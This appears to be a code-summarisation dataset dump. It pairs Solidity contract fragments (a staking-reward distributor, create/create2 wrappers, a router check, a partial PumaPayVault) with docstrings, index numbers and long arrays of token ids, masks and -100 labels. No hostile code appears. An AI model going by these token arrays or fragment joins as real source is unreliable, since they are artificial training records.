/// `addBridgeTokenRewardReceivers` function as a parameter.
/// @param cumulativeAmount The value of `bridgeTokenReward` state variable
/// after adding the `amount` to it.
/// @param bridge The bridge address which called the `addBridgeTokenRewardReceivers` function.
event BridgeTokenRewardAdded(uint256 amount, uint256 cumulativeAmount, address indexed bridge);
// ============================================== Modifiers =======================================================
/// @dev Ensures the caller is the `erc-to-erc` or `native-to-erc` bridge contract address.
modifier onlyXToErcBridge {
require(_ercToErcBridgeAllowed[msg.sender] || _nativeToErcBridgeAllowed[msg.sender]);
_;
}
// =============================================== Setters ========================================================
/// @dev An alias for `addBridgeTokenRewardReceivers`
/// (for backward compatibility with the previous bridge contract).
function addBridgeTokenFeeReceivers(uint256 _amount) external {
addBridgeTokenRewardReceivers(_amount);
}
/// @dev Called by the `erc-to-erc` or `native-to-erc` bridge contract when a portion of the bridge fee/reward
/// should be minted and distributed to participants in staking tokens. The specified amount is used by the
/// `_distributeRewards` function.
/// @param _amount The fee/reward amount distributed to participants.
function addBridgeTokenRewardReceivers(uint256 _amount) public onlyXToErcBridge {
require(_amount != 0);
bridgeTokenReward = bridgeTokenReward.add(_amount);
emit BridgeTokenRewardAdded(_amount, bridgeTokenReward, msg.sender);
}
/// @dev Sets the array of `erc-to-erc` bridge addresses which are allowed to call some of the functions with
/// the `onlyXToErcBridge` modifier. This setter can only be called by the `owner`.
/// @param _bridgesAllowed The array of bridge addresses.
function setErcToErcBridgesAllowed(address[] calldata _bridgesAllowed) external onlyOwner onlyInitialized {
uint256 i;
for (i = 0; i < _ercToErcBridgesAllowed.length; i++) {
_ercToErcBridgeAllowed[_ercToErcBridgesAllowed[i]] = false;
}
_ercToErcBridgesAllowed = _bridgesAllowed;
for (i = 0; i < _bridgesAllowed.length; i++) {
_ercToErcBridgeAllowed[_bridgesAllowed[i]] = true;
}
}
/// @dev Sets the array of `native-to-erc` bridge addresses which are allowed to call some of the functions with
/// the `onlyXToErcBridge` modifier. This setter can only be called by the `owner`.
/// @param _bridgesAllowed The array of bridge addresses.
function setNativeToErcBridgesAllowed(address[] calldata _bridgesAllowed) external onlyOwner onlyInitialized {
uint256 i;
for (i = 0; i < _nativeToErcBridgesAllowed.length; i++) {
_nativeToErcBridgeAllowed[_nativeToErcBridgesAllowed[i]] = false;
}
_nativeToErcBridgesAllowed = _bridgesAllowed;
for (i = 0; i < _bridgesAllowed.length; i++) {
_nativeToErcBridgeAllowed[_bridgesAllowed[i]] = true;
}
}
/// @dev Sets the address of the contract which will mint staking tokens.
/// Such a contract is used when there is no `mintReward` function in the staking token contract
/// and thus we use an intermediate minting contract.
/// @param _tokenMinterContract The minter contract address. If it is zero,
/// the address returned by IStakingAuRaTokens(_stakingContract).erc677TokenContract() is used
/// as a minting contract.
function setTokenMinterContract(ITokenMinter _tokenMinterContract) external onlyOwner onlyInitialized {
tokenMinterContract = _tokenMinterContract;
}
/// @dev Called by the `StakingAuRa.claimReward` function to transfer tokens and native coins
/// from the balance of the `BlockRewardAuRa` contract to the specified address as a reward.
/// @param _tokens The amount of tokens to transfer as a reward.
/// @param _nativeCoins The amount of native coins to transfer as a reward.
/// @param _to The target address to transfer the amounts to.
function transferReward(uint256 _tokens, uint256 _nativeCoins, address payable _to) external onlyStakingContract {
if (_tokens != 0) {
IStakingAuRaTokens stakingContract = IStakingAuRaTokens(msg.sender);
IERC677 erc677TokenContract = IERC677(stakingContract.erc677TokenContract());
require(erc677TokenContract.transfer(_to, _tokens));
}
_transferNativeReward(_nativeCoins, _to);
}
// =============================================== Getters ========================================================
/// @dev Returns the array of `erc-to-erc` bridge addresses set by the `setErcToErcBridgesAllowed` setter.
function ercToErcBridgesAllowed() public view returns(address[] memory) {
return _ercToErcBridgesAllowed;
}
/// @dev Returns the reward amounts in tokens and native coins for
/// some delegator with the specified stake amount placed into the specified
/// pool before the specified staking epoch. Used by the `StakingAuRa.claimReward` function.
/// @param _delegatorStake The stake amount placed by some delegator into the `_poolId` pool.
/// @param _stakingEpoch The serial number of staking epoch.
/// @param _poolId The pool id.
/// @return `uint256 tokenReward` - the reward amount in tokens.
/// `uint256 nativeReward` - the reward amount in native coins.
function getDelegatorReward(
uint256 _delegatorStake,
uint256 _stakingEpoch,
uint256 _poolId
) external view returns(uint256 tokenReward, uint256 nativeReward) {
uint256 validatorStake = snapshotPoolValidatorStakeAmount[_stakingEpoch][_poolId];
uint256 totalStake = snapshotPoolTotalStakeAmount[_stakingEpoch][_poolId];
tokenReward = delegatorShare(
_stakingEpoch,
_delegatorStake,
validatorStake,
totalStake,
epochPoolTokenReward[_stakingEpoch][_poolId]
);
nativeReward = delegatorShare(
_stakingEpoch,
_delegatorStake,
validatorStake,
totalStake,
epochPoolNativeReward[_stakingEpoch][_poolId]
);
}
/// @dev Returns the reward amounts in tokens and native coins for
/// the specified validator and for the specified staking epoch.
/// Used by the `StakingAuRa.claimReward` function.
/// @param _stakingEpoch The serial number of staking epoch.
/// @param _poolId The pool id of the validator.
/// @return `uint256 tokenReward` - the reward amount in tokens.
/// `uint256 nativeReward` - the reward amount in native coins.
function getValidatorReward(
uint256 _stakingEpoch,
uint256 _poolId
) external view returns(uint256 tokenReward, uint256 nativeReward) {
uint256 validatorStake = snapshotPoolValidatorStakeAmount[_stakingEpoch][_poolId];
uint256 totalStake = snapshotPoolTotalStakeAmount[_stakingEpoch][_poolId];
tokenReward = validatorShare(
_stakingEpoch,
validatorStake,
totalStake,
epochPoolTokenReward[_stakingEpoch][_poolId]
);
nativeReward = validatorShare(
_stakingEpoch,
validatorStake,
totalStake,
epochPoolNativeReward[_stakingEpoch][_poolId]
);
}
/// @dev Returns the array of `native-to-erc` bridge addresses which were set by
/// the `setNativeToErcBridgesAllowed` setter.
function nativeToErcBridgesAllowed() public view returns(address[] memory) {
return _nativeToErcBridgesAllowed;
}
/// @dev Calculates the current total reward in tokens which is going to be distributed
/// among validator pools once the current staking epoch finishes. Its value can differ
/// from block to block since the reward can increase in time due to bridge's fees.
/// Used by the `_distributeTokenRewards` internal function but can also be used by
/// any external user.
/// @param _stakingContract The address of StakingAuRa contract.
/// @param _stakingEpoch The number of the current staking epoch.
/// @param _totalRewardShareNum The value returned by the `_rewardShareNumDenom` internal function.
/// Ignored if the `_totalRewardShareDenom` param is zero.
/// @param _totalRewardShareDenom The value returned by the `_rewardShareNumDenom` internal function.
/// Set it to zero to calculate `_totalRewardShareNum` and `_totalRewardShareDenom` automatically.
/// @param _validators The array of the current validators. Leave it empty to get the array automatically.
/// @return `uint256 rewardToDistribute` - The current total reward in tokens to distribute.
/// `uint256 totalReward` - The current total reward in tokens. Can be greater or equal to `rewardToDistribute`
/// depending on chain's health (how soon validator set change was finalized after beginning of staking epoch).
/// Usually equals to `rewardToDistribute`. Used internally by the `_distributeTokenRewards` function.
function currentTokenRewardToDistribute(
IStakingAuRa _stakingContract,
uint256 _stakingEpoch,
uint256 _totalRewardShareNum,
uint256 _totalRewardShareDenom,
uint256[] memory _validators
) public view returns(uint256, uint256) {
return _currentRewardToDistribute(
_getTotalTokenReward(_stakingEpoch, _validators),
_stakingContract,
_totalRewardShareNum,
_totalRewardShareDenom
);
}
// ============================================== Internal ========================================================
/// @dev See the description of `BlockRewardAuRaCoins._coinInflationAmount` internal function.
/// In this case (when ERC tokens are used for staking) the inflation for native coins is zero.
function _coinInflationAmount(uint256, uint256[] memory) internal view returns(uint256) {
return 0;
}
/// @dev Distributes rewards in tokens among pools at the latest block of a staking epoch.
/// This function is called by the `_distributeRewards` function.
/// @param _stakingContract The address of the StakingAuRa contract.
/// @param _stakingEpoch The number of the current staking epoch.
/// @param _totalRewardShareNum Numerator of the total reward share.
/// @param _totalRewardShareDenom Denominator of the total reward share.
/// @param _validators The array of the current validators (their pool ids).
/// @param _blocksCreatedShareNum Numerators of blockCreated share for each of the validators.
/// @param _blocksCreatedShareDenom Denominator of blockCreated share.
function _distributeTokenRewards(
address _stakingContract,
uint256 _stakingEpoch,
uint256 _totalRewardShareNum,
uint256 _totalRewardShareDenom,
uint256[] memory _validators,
uint256[] memory _blocksCreatedShareNum,
uint256 _blocksCreatedShareDenom
) internal {
(uint256 rewardToDistribute, uint256 totalReward) = currentTokenRewardToDistribute(
IStakingAuRa(_stakingContract),
_stakingEpoch,
_totalRewardShareNum,
_totalRewardShareDenom,
_validators
);
if (totalReward == 0) {
return;
}
bridgeTokenReward = 0;
IERC677 tokenContract = IERC677(IStakingAuRaTokens(_stakingContract).erc677TokenContract());
ITokenMinter minterContract;
if (tokenMinterContract != ITokenMinter(0) && tokenContract != IERC677(0)) {
if (tokenContract.owner() == address(tokenMinterContract)) {
minterContract = tokenMinterContract;
} else {
minterContract = ITokenMinter(0);
}
} else {
minterContract = ITokenMinter(address(tokenContract));
}
uint256 distributedAmount = 0;
if (minterContract != ITokenMinter(0) && minterContract.blockRewardContract() == address(this)) {
uint256[] memory poolReward = currentPoolRewards(
rewardToDistribute,
_blocksCreatedShareNum,
_blocksCreatedShareDenom,
_stakingEpoch
);
if (poolReward.length == _validators.length) {
for (uint256 i = 0; i < _validators.length; i++) {
epochPoolTokenReward[_stakingEpoch][_validators[i]] = poolReward[i];
distributedAmount += poolReward[i];
if (poolReward[i] != 0 && epochPoolNativeReward[_stakingEpoch][_validators[i]] == 0) {
_epochsPoolGotRewardFor[_validators[i]].push(_stakingEpoch);
}
}
minterContract.mintReward(distributedAmount);
}
}
tokenRewardUndistributed = totalReward - distributedAmount;
}
/// @dev Calculates the current total reward in tokens.
/// Used by the `currentTokenRewardToDistribute` function.
/// @param _stakingEpoch The number of the current staking epoch.
/// @param _validators The array of the current validators.
/// Can be empty to retrieve the array automatically inside
/// the `_inflationAmount` internal function.
function _getTotalTokenReward(
uint256 _stakingEpoch,
uint256[] memory _validators
) internal view returns(uint256 totalReward) {
totalReward =
bridgeTokenReward +
tokenRewardUndistributed +
_inflationAmount(_stakingEpoch, _validators, STAKE_TOKEN_INFLATION_RATE);
}
}
| @dev Called by the `StakingAuRa.claimReward` function to transfer tokens and native coins from the balance of the `BlockRewardAuRa` contract to the specified address as a reward. @param _tokens The amount of tokens to transfer as a reward. @param _nativeCoins The amount of native coins to transfer as a reward. @param _to The target address to transfer the amounts to. | function transferReward(uint256 _tokens, uint256 _nativeCoins, address payable _to) external onlyStakingContract {
if (_tokens != 0) {
IStakingAuRaTokens stakingContract = IStakingAuRaTokens(msg.sender);
IERC677 erc677TokenContract = IERC677(stakingContract.erc677TokenContract());
require(erc677TokenContract.transfer(_to, _tokens));
}
_transferNativeReward(_nativeCoins, _to);
}
| 7,217,466 | [
1,
8185,
635,
326,
1375,
510,
6159,
37,
89,
12649,
18,
14784,
17631,
1060,
68,
445,
358,
7412,
2430,
471,
6448,
276,
9896,
628,
326,
11013,
434,
326,
1375,
1768,
17631,
1060,
37,
89,
12649,
68,
6835,
358,
326,
1269,
1758,
487,
279,
19890,
18,
225,
389,
7860,
1021,
3844,
434,
2430,
358,
7412,
487,
279,
19890,
18,
225,
389,
13635,
39,
9896,
1021,
3844,
434,
6448,
276,
9896,
358,
7412,
487,
279,
19890,
18,
225,
389,
869,
1021,
1018,
1758,
358,
7412,
326,
30980,
358,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7412,
17631,
1060,
12,
11890,
5034,
389,
7860,
16,
2254,
5034,
389,
13635,
39,
9896,
16,
1758,
8843,
429,
389,
869,
13,
3903,
1338,
510,
6159,
8924,
288,
203,
3639,
309,
261,
67,
7860,
480,
374,
13,
288,
203,
5411,
467,
510,
6159,
37,
89,
12649,
5157,
384,
6159,
8924,
273,
467,
510,
6159,
37,
89,
12649,
5157,
12,
3576,
18,
15330,
1769,
203,
5411,
467,
654,
39,
26,
4700,
6445,
71,
26,
4700,
1345,
8924,
273,
467,
654,
39,
26,
4700,
12,
334,
6159,
8924,
18,
12610,
26,
4700,
1345,
8924,
10663,
203,
5411,
2583,
12,
12610,
26,
4700,
1345,
8924,
18,
13866,
24899,
869,
16,
389,
7860,
10019,
203,
3639,
289,
203,
203,
3639,
389,
13866,
9220,
17631,
1060,
24899,
13635,
39,
9896,
16,
389,
869,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.5.0 <0.6.0;
/**
* @notice wrapper for _create and _create2
*/
contract Creator {
/**
* @dev abstract contract
*/
constructor() internal {
}
/**
* @notice creates new contract based on input `_code` and transfer `_value` ETH to this instance
* @param _value amount ether in wei to sent to deployed address at its initialization
* @param _code contract code
* @return created contract address
*/
function _create(
uint _value,
bytes memory _code
)
internal
returns (address payable createdContract)
{
assembly {
createdContract := create(_value, add(_code, 0x20), mload(_code))
}
}
/**
* @notice creates deterministic address with salt `_salt` contract using on input `_code` and transfer `_value` ETH to this instance
* @param _value amount ether in wei to sent to deployed address at its initialization
* @param _code contract code
* @param _salt changes the resulting address
* @return created contract address
*/
function _create2(
uint _value,
bytes memory _code,
bytes32 _salt
)
internal
returns (address payable createdContract)
{
assembly {
createdContract := create2(_value, add(_code, 0x20), mload(_code), _salt)
}
}
} | * @notice creates new contract based on input `_code` and transfer `_value` ETH to this instance @param _value amount ether in wei to sent to deployed address at its initialization @param _code contract code @return created contract address/ | function _create(
uint _value,
bytes memory _code
)
internal
returns (address payable createdContract)
{
assembly {
createdContract := create(_value, add(_code, 0x20), mload(_code))
}
}
| 13,071,811 | [
1,
19787,
394,
6835,
2511,
603,
810,
1375,
67,
710,
68,
471,
7412,
1375,
67,
1132,
68,
512,
2455,
358,
333,
791,
225,
389,
1132,
3844,
225,
2437,
316,
732,
77,
358,
3271,
358,
19357,
1758,
622,
2097,
10313,
225,
389,
710,
6835,
981,
327,
2522,
6835,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
2640,
12,
203,
3639,
2254,
389,
1132,
16,
203,
3639,
1731,
3778,
389,
710,
203,
565,
262,
203,
3639,
2713,
203,
3639,
1135,
261,
2867,
8843,
429,
2522,
8924,
13,
203,
565,
288,
203,
3639,
19931,
288,
203,
5411,
2522,
8924,
519,
752,
24899,
1132,
16,
527,
24899,
710,
16,
374,
92,
3462,
3631,
312,
945,
24899,
710,
3719,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43114/0x2953B82Dc7CEc0c7b28c17313B04219Db97a38a9/sources/contracts/3_Ballot.sol | * @notice Calculates the total underlying tokens @dev It includes tokens held by the contract and held in MasterChef/ | function balanceOf() public view returns (uint256) {
(uint256 amount, ) = IMasterChef(masterchef).userInfo(5, address(this));
return token.balanceOf(address(this)).add(amount);
}
| 4,619,300 | [
1,
10587,
326,
2078,
6808,
2430,
225,
2597,
6104,
2430,
15770,
635,
326,
6835,
471,
15770,
316,
13453,
39,
580,
74,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
11013,
951,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
261,
11890,
5034,
3844,
16,
262,
273,
6246,
2440,
39,
580,
74,
12,
7525,
343,
10241,
2934,
1355,
966,
12,
25,
16,
1758,
12,
2211,
10019,
203,
3639,
327,
1147,
18,
12296,
951,
12,
2867,
12,
2211,
13,
2934,
1289,
12,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x3aee85207A82768EbA24f6F29067af1Ab94472ff/sources/contracts/Router/primaryRouter.sol | Puts the gater require condition for potential gas return to users | require(gater.checkGatedStatus{value: msg.value}(msg.sender), "Your wallet is not eligible to buy");
| 8,396,355 | [
1,
26804,
326,
314,
2045,
2583,
2269,
364,
8555,
16189,
327,
358,
3677,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2583,
12,
75,
2045,
18,
1893,
43,
690,
1482,
95,
1132,
30,
1234,
18,
1132,
97,
12,
3576,
18,
15330,
3631,
315,
15446,
9230,
353,
486,
21351,
358,
30143,
8863,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.24;
import "./PumaPayToken.sol";
import "../node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol";
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
/// @title PumaPayVault - Contract that will hold PMA locked for a specific period of time with predefined withdrawal windows for a certain percentage of tokens.
/// @author Giorgos Kourtellos - <[email protected]>
contract PumaPayVault is Ownable {
using SafeMath for uint256;
/// =================================================================================================================
/// Events
/// =================================================================================================================
event LogWithdraw(uint256 amount);
event LogNextUnlockTimestamp(uint256 nextUnlockedTimestamp);
event LogTokensAllowedForWithdrawal(uint256 tokensAllowedForWithdrawal);
/// =================================================================================================================
/// Constants
/// =================================================================================================================
uint256 constant public UNLOCKED_PERIOD = 2 days;
/// =================================================================================================================
/// Members
/// =================================================================================================================
uint256 public nextUnlockedTimestamp;
uint256 public amountOfTokensAllowedForWithdrawal;
uint256 public amountOfTokensWithdrawn;
bool public lockedScheduleConstructed;
uint256[] public intervals;
uint256[] public percentages;
PumaPayToken public token;
struct LockScheduleDetails {
uint256 unlockStartTime;
uint256 unlockedAmount;
}
LockScheduleDetails[] public lockSchedule;
/// =================================================================================================================
/// Modifiers
/// =================================================================================================================
modifier hasTokens() {
require(token.balanceOf(this) > 0);
_;
}
modifier lockedScheduleNOTConstructed() {
require(!lockedScheduleConstructed);
_;
}
modifier lockedScheduleISConstructed() {
require(lockedScheduleConstructed);
_;
}
modifier isUnlocked() {
require(vaultIsUnlocked());
_;
}
modifier isLocked() {
require(!vaultIsUnlocked());
_;
}
modifier validAmountOfTokens(uint256 amount) {
require(amountOfTokensAllowedForWithdrawal >= amount);
_;
}
modifier lastValueOfArrayIs100(uint256[] arrayOfNumbers) {
require(arrayOfNumbers[arrayOfNumbers.length - 1] == 100);
_;
}
modifier validRequirements(address _owner, PumaPayToken _token, uint256[] _intervals, uint256[] _percentages) {
require(
_owner != address(0)
&& _token != address(0)
&& _intervals.length == _percentages.length
&& validIntervals(_intervals)
&& validPercentages(_percentages)
);
_;
}
/// =================================================================================================================
/// Constructor
/// =================================================================================================================
/// @dev Contract constructor sets owner of the vault, the intervals on which the vault will be unlocked
/// and the percentages of the vault that will be unlocked for the certain intervals
